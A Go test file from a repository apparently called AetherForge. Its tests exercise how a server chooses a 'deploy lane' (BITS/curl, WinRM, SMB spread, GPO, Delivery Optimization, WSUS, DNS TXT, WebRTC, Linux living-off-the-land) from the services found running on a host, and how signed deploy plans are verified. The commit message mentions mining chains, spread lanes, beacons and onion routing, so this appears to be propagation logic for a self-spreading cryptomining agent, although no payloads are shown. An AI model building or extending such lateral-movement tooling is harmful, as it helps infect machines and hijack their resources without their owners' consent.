Files
AetherForge/server/internal/api/service_deploy_test.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

129 lines
3.9 KiB
Go

package api
import "testing"
func TestPickDeployLaneDoSvc(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{
{Name: "CCMEXEC", Status: "running"},
{Name: "DoSvc", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok {
t.Fatal("expected match")
}
if matched != "DoSvc" || lane.Lane != "do_peer" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestNormalizeJoinLaneDoPeer(t *testing.T) {
if got := normalizeJoinLane("do-peer"); got != "do_peer" {
t.Fatalf("got %q", got)
}
}
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
cases := map[string]string{
"wsus-cache-peer": "wsus_cache_peer",
"dns-txt": "dns_txt",
"webrtc-mesh": "webrtc_mesh",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestPickDeployLaneDNSTXT(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"WinRM": {Lane: "winrm", Priority: 30},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
})
services := []DeployServiceFinding{
{Name: "CCMEXEC", Status: "running"},
{Name: "WinRM", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok {
t.Fatal("expected match")
}
if matched != "WinRM" || lane.Lane != "winrm" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLaneIgnoresStopped(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}}
_, _, ok := PickDeployLane(services, allowlist)
if ok {
t.Fatal("stopped service should not match")
}
}
func TestNormalizeJoinLaneAliases(t *testing.T) {
cases := map[string]string{
"bits/curl": "bits_curl",
"spread_smb_unc": "spread_smb_unc",
"linux-lotl": "linux_lotl",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestPickDeployLaneGPO(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "gpsvc", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "gpsvc" || lane.Lane != "gpo" || lane.Template != "gpo" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneWinRM(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "WinRM", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "WinRM" || lane.Lane != "winrm" || lane.Template != "winrm" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestPickDeployLaneLinuxLOTL(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "sshd", Status: "active"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "sshd" || lane.Lane != "linux_lotl" || lane.Template != "linux-lotl" {
t.Fatalf("matched=%q lane=%+v", matched, lane)
}
}
func TestVerifyDeployPlanSignature(t *testing.T) {
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
sig, err := signDeployPlan(plan, "test-secret")
if err != nil {
t.Fatal(err)
}
if !VerifyDeployPlanSignature(plan, sig, "test-secret") {
t.Fatal("signature should verify")
}
if VerifyDeployPlanSignature(plan, sig, "wrong") {
t.Fatal("wrong secret should fail")
}
}